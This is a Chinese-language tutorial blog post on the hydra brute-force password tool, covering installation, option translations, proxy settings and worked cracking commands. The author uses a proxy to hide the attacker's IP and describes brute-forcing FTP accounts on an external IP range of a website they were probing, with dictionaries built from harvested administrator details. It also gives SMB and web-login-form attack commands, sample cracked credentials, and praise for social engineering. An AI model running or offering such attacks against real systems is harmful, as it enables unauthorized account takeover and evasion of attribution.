欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

暴力破解工具hydra的简介与使用

程序员文章站 2022-03-06 15:37:03
[0x00]工具简介      hydra著名黑客组织thc的一款开源的暴力破解工具,可以破解多种密码。 其官网http://www.thc.org,本文测试版...
[0x00]工具简介

     hydra著名黑客组织thc的一款开源的暴力破解工具,可以破解多种密码。 其官网http://www.thc.org,本文测试版本为最新版本5.8,可支持:

     TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL,

     REXEC,RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, 

     NNTP, PCNFS,ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, 

     Cisco auth, Cisco enable,AFP, LDAP2, Cisco AAA

等密码破解。唯一觉得不大方便的是,用于密码破解的字典必须我们自己制作指定

暴力破解工具hydra的简介与使用
 

[0x01]安装手记

cd到下载好的安装程序目录,解压软件包

sudo tar zxvf hydra-5.8-src.tar.gz

得到hydra-5.8-src文件夹,进入该文件夹,按照安装说明首先进行配置

sudo ./configure

会检测到当前系统一些组建配置,主要是对于破解支持模块的检测,大家根据需要安装对应的支持库和依赖包,在以后实战过程我可能会提到相关模块。

直接继续编译,sudo make和sudo make install,这样就安装完成了。另外值得说明的是,该软件支持GUI的人性化界面,个人不推荐,感兴趣的朋友可以到官网下载页面查看。

[0x02]参数详解(官网是英文,下面我翻译成中文)

格式:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

server service [OPT]   # 可选的

   -R         继续从上一次进度接着破解

   -S         采用SSL链接(大写的S) www.2cto.com

   -s PORT   如果非默认端口,可通过这个参数指定

   -l LOGIN   小写,用于指定破解的用户,对特定用户破解

   -L FILE   大写,用于指定用户的用户名字典

   -p PASS   小写,用于指定密码破解,少用,一般是采用密码字典

   -P FILE   大写,用于指定密码字典

   -e ns     额外的选项,n:空密码试探,s:使用指定账户和密码试探

   -C FILE   使用冒号分割格式 例如 "登录名:密码"来代替-L/-P参数

   -M FILE   指定目标列表文件一行一条

   -o FILE   指定结果输出文件

   -f         在使用-M参数以后 找到第一对登录名或者密码的时候中止破解

   -t TASKS   同时运行的线程数,默认为16

   -w TIME   设置最大超时的时间,单位秒,默认是30s

   -v / -V   显示详细过程

   server     目标ip

   service   指定服务名,支持如下: telnet ftp pop3[-ntlm]   imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco   cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5   rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere   teamspeak sip vmauthd firebird ncp afp

   OPT       可选项

如何使用代理服务器进行破解(这一点主要处于攻击者的ip,处于自身安全考虑)

----------------------------

HYDRA_PROXY_HTTP 变量参数可以用来定义代理服务器(只能使用http代理)

语法:

HYDRA_PROXY_HTTP="http://ip:port/"

HYDRA_PROXY_CONNECT=ip:8000

如果你使用的代理需要用户名和密码,请使用HYDRA_PROXY_AUTH 变量参数:

HYDRA_PROXY_AUTH="the_login:the_password"

[0x03]实例破解

1.ftp密码破解

结合自己实例,最近试探一个网站,得到了ftp用户,是serv-u6.02但是无法破解密码,我通过收集这些ftp用户将结果保存在ftpuser.lst文件中,同时通过收集各个网站的信息,包括管理员的信息组合形成一个密码字典ftppwd.lst。于是,就开始尝试破解,命令如下:

sudo hydra -L /home/dict/ftpuser.lst -P /home/dict/ftppwd.lst 218.86.103.* ftp

这个是基于多用户密码破解,另外还有一个本地ftp密码破解方案。为了效率我直接将密码写入到pwd.lst字典中

sudo hydra -l administrator -P /home/dict/pwd.lst -v 192.168.8.6 ftp

返回结果如下,成功破解了密码:

# 该行说明任务总数,会根据你提供用户名和密码进行计算,l:1/p:2表示一个用户名,密码字典中又2个密码

[DATA] 2 tasks, 1 servers, 2 login tries (l:1/p:2), ~1 tries per task   

[DATA] attacking service ftp on port 21

[VERBOSE] Resolving addresses ... done

[STATUS] attack finished for 192.168.8.6 (waiting for childs to finish)

# 破解成功,直接显示出来,当然你可以让他输出到文件,通过参数-o设定

[21][ftp] host: 192.168.8.6   login: administrator   password: 123

通过这种方法有极大可能破解这个ftp,当然关键在于你的字典,我们可以通过字典生成器就可以很好的破解了。

2.samba密码破解

利用nmap扫描到服务器开启了samba服务,于是尝试收集该服务器信息组合成密码字典。由于该应用类似ftp破解,这里不对具体演示,只是将ftp服务改成smb服务即可。

3.网站后台密码破解

该软件的强大之处就在于支持多种协议的破解,同样他也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具又一个不好的地方就是,如果目标网站登录时候需要验证码无法破解了。带参数破解如下:

<form action="index.php" method="POST">

<input type="text" name="name" /><BR><br>

<input type="password" name="pwd" /><br><br>

<input type="submit" name="sub" value="提交">

 

假设有以上一个密码登录表单,我们执行命令:

sudo hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

# 破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t是同时线程数为1,-f是当破解了一个密码就停止,ip是本地,就是目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解后面参数是网页中对应的表单字段的name属性,后面title中的内容是表示错误猜解的返回信息提示,可以自定义。

[0x04]总结

该工具的强大只有你自行体验了,当然密码能否破解关键在于你的字典。以上一些实例操作仅仅是提供的支持的众多服务中的3种,其他的服务也同样非常强大,留给大家自行体会。其实密码字典的生成有相关的工具,你可以自己生成符合一定规则的密码字典。当然如果你是一个成功的社工专家,往往能够得到事半功倍的效果